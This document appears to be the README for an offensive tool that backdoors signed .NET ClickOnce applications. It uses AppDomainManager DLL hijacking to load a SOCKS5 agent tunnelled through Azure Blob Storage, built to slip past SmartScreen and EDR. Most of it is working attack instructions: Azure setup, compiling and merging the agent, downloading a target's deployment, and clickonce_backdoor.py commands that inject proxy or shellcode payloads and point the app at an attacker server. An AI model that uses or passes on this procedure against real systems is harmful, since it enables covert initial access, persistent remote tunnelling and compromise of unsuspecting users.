
Weaponize signed .NET ClickOnce applications for initial access by hijacking a dependency DLL via AppDomainManager injection and loading a C# port of ProxyBlob Agent.

Weaponize signed .NET ClickOnce applications for initial access by hijacking a dependency DLL via AppDomainManager injection and loading a C# port of ProxyBlob Agent. Ships with a C# port of ProxyBlob — a SOCKS5 proxy that tunnels all traffic through Azure Blob Storage, blending into environments where *.blob.core.windows.net is whitelisted.
ClickOnce is Microsoft's one-click deployment technology for .NET apps. When a user clicks a .application URL, Windows downloads and runs the app with no admin privileges required. The attack:
.exe.config that tells the CLR to load our DLL as the AppDomainManagerThe host .exe remains untouched and validly signed. SmartScreen sees a known binary. EDR sees a trusted process loading modules. Your agent communicates only with Azure Blob Storage over HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Attacker (Linux/macOS):
Build machine (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (auto-detected)nuget.exe next to the script or add to PATH (only needed for --proxyblob mode)The script auto-detects csc.exe and nuget.exe. For --proxyblob, BouncyCastle and ILMerge are auto-installed via NuGet on first run into a packages/ directory next to the script (persists across runs).
The agent code is architecture-neutral (no P/Invoke, no shellcode). The --platform flag (passed to csc.exe /platform:) controls how the CLR loads it:
--platform | Runs on x86 Windows | Runs on x64 Windows | When to use |
|---|---|---|---|
x86 (default) | 32-bit | 32-bit (WoW64) | Target app is x86 |
x64 | ✗ | 64-bit | Target app is x64 |
anycpu | 32-bit | 64-bit | Standalone testing, or target is AnyCPU |
Check a target app with corflags.exe TargetApp.exe to determine its platform.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Or use Azurite locally:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
In the proxy shell:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Save that connection string — it goes into the agent.
Always verify the agent works independently before ClickOnce integration.
On the Windows build machine:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
Back on the proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Test:
proxychains curl http://ipconfig.io
If this works, proceed to ClickOnce integration.
Find a target ClickOnce app during recon (search for .application URLs). You need:
Download the entire ClickOnce deployment:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

The script auto-compiles the C# source, handles NuGet dependencies (for --proxyblob), ILMerges BouncyCastle into the DLL, and patches all manifests — all in a single run:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

The script handles: generating the C# source with your settings baked in, compiling via csc.exe, ILMerging BouncyCastle (for --proxyblob), replacing the DLL, creating .exe.config with AppDomainManager injection, adding both files to manifests, recalculating all SHA256 hashes and file sizes, stripping code signatures, zeroing the vendor publicKeyToken, and updating the deployment provider URL.
Manual override: You can still use --payload to supply a pre-compiled DLL (skips compilation):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \